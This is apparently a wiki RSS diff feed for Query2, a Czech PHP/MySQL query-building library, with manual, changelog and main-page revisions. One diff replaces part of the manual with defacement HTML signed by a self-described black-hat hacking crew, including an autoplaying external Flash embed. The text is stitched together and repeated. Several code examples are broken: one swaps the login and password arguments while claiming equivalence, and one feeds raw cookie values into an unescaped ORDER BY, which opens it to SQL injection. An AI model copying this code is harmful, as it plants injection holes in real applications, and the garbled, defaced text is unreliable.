Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}


!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}</del><ins>&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;//&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Contact me at&lt;/font&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;:&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;&lt;font size=&quot;2&quot;&gt;</ins>

<del>$q-&gt;setLogCallback(&quot;logger&quot;);</del><ins>Devilzc0de The Blackhat Condor&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;    &lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Devilzc0de Crew
: chaer.newbie , xtr0nic ,mywisdom , petimati , wenkhairu ,
n4ck0 , elnino , flyff666 ,cumi_cubul&lt;br&gt;Indonesia Black-Hat hackerz ,
Devilzc0der &lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;</ins>

<del>$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}</del>

<del>!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.</del><ins>&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;[&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot;&gt;
Copyright Devilzc0de.org &lt;/font&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot;&gt;©:&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot;&gt; 2 0 1 0</ins>

<del>!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.</del><ins>&lt;/font&gt;&lt;/font&gt;&lt;span style=&quot;font-family: Fixedsys;&quot;&gt;
&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; &lt;/font&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;]&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt; &lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;</ins>

<del>!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.</del><ins>&lt;center&gt;&lt;embed src=&quot;http://img227.imageshack.us/img227/3087/playergv1.swf?soundFile=http://www44.indowebster.com/8b1df64cb1448cc29f0dfa2893340994.mp3&amp;amp;bg=0x000000&amp;amp;leftbg=0x000000&amp;amp;lefticon=0xFFFFFF&amp;amp;rightbg=0x333333&amp;amp;rightbghover=0x333333&amp;amp;righticon=0xCCCCCC&amp;amp;righticonhover=0xFFFFFF&amp;amp;text=0xcccccc&amp;amp;slider=0x666666&amp;amp;track=0xFFFFFF&amp;amp;border=0xFFFFFF&amp;amp;loader=0xcccccc&amp;amp;autostart=yes&amp;amp;loop=yes&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; width=&quot;290&quot; height=&quot;24&quot;&gt;&lt;/object&gt;&lt;/p&gt;	&lt;/center&gt;</ins>

<del>!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</del><ins>&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;/span&quot;&gt;&lt;/div&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;{/html}</ins>
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Wed, 24 Mar 2010 00:52:20 +0100</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné
</ins>
!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Wed, 07 Apr 2010 09:53:22 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 17KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 15krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]


!Download

Aktuální stabilní verze je <del>1.0.3,</del><ins>1.0.4,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.0.3.tar.gz].</del><ins>[zde|./download/Query2-1.0.4.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.
<ins></ins>





!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Jde to ale i jinak
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
